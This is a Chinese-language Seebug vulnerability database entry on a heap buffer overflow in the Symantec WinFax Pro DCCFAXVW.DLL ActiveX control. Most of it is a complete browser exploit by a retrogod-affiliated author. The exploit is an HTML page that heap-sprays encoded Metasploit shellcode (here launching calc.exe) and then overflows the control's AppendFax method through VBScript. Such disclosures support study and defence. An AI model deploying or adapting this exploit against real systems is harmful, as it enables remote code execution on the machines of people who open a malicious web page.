Symantec WinFax Pro 'DCCFAXVW.DLL'堆缓冲区溢出漏洞

2009-04-30T00:00:00
ID SSV:5140
Type seebug
Reporter Root
Modified 2009-04-30T00:00:00

Description

Symantec WinFax Pro是一款传真管理软件。 Symantec WinFax Pro包含的ActiveX控件存在缓冲区溢出,远程攻击者可以利用漏洞以应用程序权限执行任意指令。 问题包含在DCCFAXVW.DLL提供的控件中,由于对AppendFax方法缺少正确边界检查,构建恶意WEB页,诱使用户打开,可导致以应用程序权限执行任意指令。

Symantec WinFax Pro 10.03 目前没有解决方案提供: <a href=http://www.symantec.com/ target=_blank rel=external nofollow>http://www.symantec.com/</a>

                                        
                                            
                                                &lt;!--
Symantec Fax Viewer Control v10 (DCCFAXVW.DLL) remote buffer overflow exploit (IE7)
by Nine:Situations:Group::trotzkista
site: http://retrogod.altervista.org/
tested against: Symantec WinFax Pro 10.03
Internet Explorer 7, XP SP3
some details:
CLSID: {C05A1FBC-1413-11D1-B05F-00805F4945F6}
Progid: Symantec.FaxViewerControl.1
Binary Path: C:\Programmi\WinFax\DCCFAXVW.DLL
KillBitted: False
Implements IObjectSafety: False
Safe For Initialization (Registry): True
Safe For Scripting (Registry): True
--&gt;
&lt;html&gt;
&lt;object classid='clsid:C05A1FBC-1413-11D1-B05F-00805F4945F6' id='obj' /&gt;
&lt;/object&gt;
&lt;script language='javascript'&gt;
// win32_exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com
var scode = unescape(&quot;%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949&quot; +
&quot;%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a&quot; +
&quot;%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241&quot; +
&quot;%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c&quot; +
&quot;%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c&quot; +
&quot;%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f&quot; +
&quot;%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b&quot; +
&quot;%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c&quot; +
&quot;%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831&quot; +
&quot;%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955&quot; +
&quot;%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b&quot; +
&quot;%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b&quot; +
&quot;%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44&quot; +
&quot;%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35&quot; +
&quot;%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530&quot; +
&quot;%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b&quot; +
&quot;%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c&quot; +
&quot;%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63&quot; +
&quot;%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f&quot; +
&quot;%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377&quot; +
&quot;%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f&quot; +
&quot;%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035&quot; +
&quot;%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653&quot; +
&quot;%u314e%u7475%u7038%u7765%u4370&quot;);
bigblock = unescape(&quot;%u0c0c%u0c0c&quot;);
headersize = 20;
slackspace = headersize+scode.length;
while (bigblock.length&lt;slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace&lt;0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i&lt;444;i++){memory[i] = block+scode}
&lt;/script&gt;
&lt;script language=&quot;vbscript&quot;&gt;
obj.AppendFax string(1111,unescape(&quot;%0c&quot;))
&lt;/script&gt;